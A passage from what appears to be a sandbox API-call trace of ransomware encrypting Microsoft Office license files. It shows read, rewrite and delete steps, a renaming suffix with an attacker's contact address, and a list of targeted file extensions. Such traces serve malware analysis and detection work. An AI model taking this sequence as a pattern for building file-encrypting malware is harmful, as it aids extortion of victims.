lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d90, lpOverlapped=0x0) returned 1 [0275.429] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0275.429] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x126, lpOverlapped=0x0) returned 1 [0275.429] SetEndOfFile (hFile=0x580) returned 1 [0275.429] CloseHandle (hObject=0x580) returned 1 [0275.430] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.430] SetEndOfFile (hFile=0x42c) returned 1 [0275.435] CloseHandle (hObject=0x42c) returned 1 [0275.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1 [0275.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.437] lstrlenW (lpString=".doc") returned 4 [0275.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString=".docx") returned 5 [0275.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.438] lstrlenW (lpString=".pdf") returned 4 [0275.438] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString=".xls") returned 4 [0275.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString=".xlsx") returned 5 [0275.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.438] lstrlenW (lpString=".ppt") returned 4 [0275.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.438] lstrlenW (lpString=".zip") returned 4 [0275.438] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString=".rar") returned 4 [0275.438] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString=".bz2") returned 4 [0275.438] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString=".7z") returned 3 [0275.438] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.438] lstrlenW (lpString=".dbf") returned 4 [0275.438] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.439] lstrlenW (lpString=".1cd") returned 4 [0275.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.439] lstrlenW (lpString=".jpg") returned 4 [0275.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.439] lstrlenW (lpString=".doc") returned 4 [0275.439] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.439] lstrlenW (lpString=".docx") returned 5 [0275.439] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.439] lstrlenW (lpString=".pdf") returned 4 [0275.439] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.439] lstrlenW (lpString=".xls") returned 4 [0275.439] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.439] lstrlenW (lpString=".xlsx") returned 5 [0275.439] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.439] lstrlenW (lpString=".ppt") returned 4 [0275.439] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.439] lstrlenW (lpString=".zip") returned 4 [0275.439] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.440] lstrlenW (lpString=".rar") returned 4 [0275.440] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.440] lstrlenW (lpString=".bz2") returned 4 [0275.440] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.440] lstrlenW (lpString=".7z") returned 3 [0275.440] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.440] lstrlenW (lpString=".dbf") returned 4 [0275.440] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.440] lstrlenW (lpString=".1cd") returned 4 [0275.440] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0275.440] lstrlenW (lpString=".jpg") returned 4 [0275.440] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.440] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.440] lstrlenW (lpString="O365HomePremR_Subscription5-ppd.xrm-ms") returned 38 [0275.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.442] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=26541) returned 1 [0275.442] CloseHandle (hObject=0x42c) returned 1 [0275.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220 [0275.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.443] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.443] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0275.445] GetLastError () returned 0x0 [0275.445] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x67ad, lpOverlapped=0x0) returned 1 [0275.447] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x67b0, lpOverlapped=0x0) returned 1 [0275.449] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0275.449] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x120, lpOverlapped=0x0) returned 1 [0275.449] SetEndOfFile (hFile=0x580) returned 1 [0275.449] CloseHandle (hObject=0x580) returned 1 [0275.450] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.450] SetEndOfFile (hFile=0x42c) returned 1 [0275.453] CloseHandle (hObject=0x42c) returned 1 [0275.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1 [0275.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.455] lstrlenW (lpString=".doc") returned 4 [0275.455] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.455] lstrlenW (lpString=".docx") returned 5 [0275.455] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.455] lstrlenW (lpString=".pdf") returned 4 [0275.455] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.455] lstrlenW (lpString=".xls") returned 4 [0275.455] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.455] lstrlenW (lpString=".xlsx") returned 5 [0275.455] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.455] lstrlenW (lpString=".ppt") returned 4 [0275.455] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.455] lstrlenW (lpString=".zip") returned 4 [0275.455] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.455] lstrlenW (lpString=".rar") returned 4 [0275.455] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.455] lstrlenW (lpString=".bz2") returned 4 [0275.455] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.455] lstrlenW (lpString=".7z") returned 3 [0275.455] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.456] lstrlenW (lpString=".dbf") returned 4 [0275.456] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.456] lstrlenW (lpString=".1cd") returned 4 [0275.456] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.456] lstrlenW (lpString=".jpg") returned 4 [0275.456] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.456] lstrlenW (lpString=".doc") returned 4 [0275.456] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString=".docx") returned 5 [0275.456] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.456] lstrlenW (lpString=".pdf") returned 4 [0275.456] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString=".xls") returned 4 [0275.456] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString=".xlsx") returned 5 [0275.456] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.456] lstrlenW (lpString=".ppt") returned 4 [0275.456] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.456] lstrlenW (lpString=".zip") returned 4 [0275.456] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString=".rar") returned 4 [0275.456] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString=".bz2") returned 4 [0275.456] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.456] lstrlenW (lpString=".7z") returned 3 [0275.456] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.456] lstrlenW (lpString=".dbf") returned 4 [0275.457] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.457] lstrlenW (lpString=".1cd") returned 4 [0275.457] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0275.457] lstrlenW (lpString=".jpg") returned 4 [0275.457] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.457] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.457] lstrlenW (lpString="O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 41 [0275.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.458] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11651) returned 1 [0275.458] CloseHandle (hObject=0x42c) returned 1 [0275.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0275.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.459] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.459] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0275.461] GetLastError () returned 0x0 [0275.461] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d83, lpOverlapped=0x0) returned 1 [0275.902] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d90, lpOverlapped=0x0) returned 1 [0275.904] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0275.904] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x126, lpOverlapped=0x0) returned 1 [0275.904] SetEndOfFile (hFile=0x580) returned 1 [0275.904] CloseHandle (hObject=0x580) returned 1 [0275.904] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.904] SetEndOfFile (hFile=0x42c) returned 1 [0275.918] CloseHandle (hObject=0x42c) returned 1 [0275.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1 [0276.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.296] lstrlenW (lpString=".doc") returned 4 [0276.296] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.296] lstrlenW (lpString=".docx") returned 5 [0276.296] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.296] lstrlenW (lpString=".pdf") returned 4 [0276.296] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.296] lstrlenW (lpString=".xls") returned 4 [0276.296] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.296] lstrlenW (lpString=".xlsx") returned 5 [0276.296] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.296] lstrlenW (lpString=".ppt") returned 4 [0276.296] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.296] lstrlenW (lpString=".zip") returned 4 [0276.296] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.296] lstrlenW (lpString=".rar") returned 4 [0276.296] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.296] lstrlenW (lpString=".bz2") returned 4 [0276.296] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.296] lstrlenW (lpString=".7z") returned 3 [0276.297] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.297] lstrlenW (lpString=".dbf") returned 4 [0276.297] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.297] lstrlenW (lpString=".1cd") returned 4 [0276.297] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.297] lstrlenW (lpString=".jpg") returned 4 [0276.297] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.297] lstrlenW (lpString=".doc") returned 4 [0276.297] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.297] lstrlenW (lpString=".docx") returned 5 [0276.297] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.297] lstrlenW (lpString=".pdf") returned 4 [0276.297] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.297] lstrlenW (lpString=".xls") returned 4 [0276.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.297] lstrlenW (lpString=".xlsx") returned 5 [0276.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.297] lstrlenW (lpString=".ppt") returned 4 [0276.298] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.298] lstrlenW (lpString=".zip") returned 4 [0276.298] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.298] lstrlenW (lpString=".rar") returned 4 [0276.298] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.298] lstrlenW (lpString=".bz2") returned 4 [0276.298] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.298] lstrlenW (lpString=".7z") returned 3 [0276.298] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.298] lstrlenW (lpString=".dbf") returned 4 [0276.298] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.298] lstrlenW (lpString=".1cd") returned 4 [0276.298] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0276.298] lstrlenW (lpString=".jpg") returned 4 [0276.298] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.299] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.299] lstrlenW (lpString="O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 36 [0276.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0276.301] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11630) returned 1 [0276.301] CloseHandle (hObject=0x56c) returned 1 [0276.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms")) returned 0x220 [0276.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0276.302] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.302] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 